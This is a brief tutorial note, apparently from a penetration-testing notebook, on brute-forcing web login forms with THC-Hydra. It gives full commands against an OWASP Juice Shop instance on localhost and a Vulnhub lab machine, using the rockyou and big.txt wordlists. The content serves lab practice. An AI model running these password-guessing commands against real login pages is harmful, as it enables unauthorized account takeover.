# THC-Hydra BruteForce

### Localhost Example

```
$ hydra -l admin@juice-sh.op -P /usr/share/wordlists/rockyou.txt 127.0.0.1 http-post-form '/#/login:email=^USER^&password=^PASS^:Invalid email or password.' -fV -s 3000 -t 1
```

### Vulnhub Example

When we enter a random key into the form at this page, we get “invalid key”. We can use this to formulate a hydra command. Choose `big.txt` wordlist, select `http-post-form`, the address `10.10.10.3`, the location of the form `“/kzMb5nVYJw/index.php”` with our field “key” and the `^PASS^` string (the variables argument needs at least the strings `^USER^`, `^PASS^`, `^USER64^` or `^PASS64^`), and the third colon delimited argument that designates failure “invalid key”. `-l` is for our login name which is empty, `-f` is for exit when a login/pass pair is found, `-V` is for verbose.

```
$ hydra -P /usr/share/dirb/wordlists/big.txt 10.10.10.3 http-post-form "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -fV -l ""
```
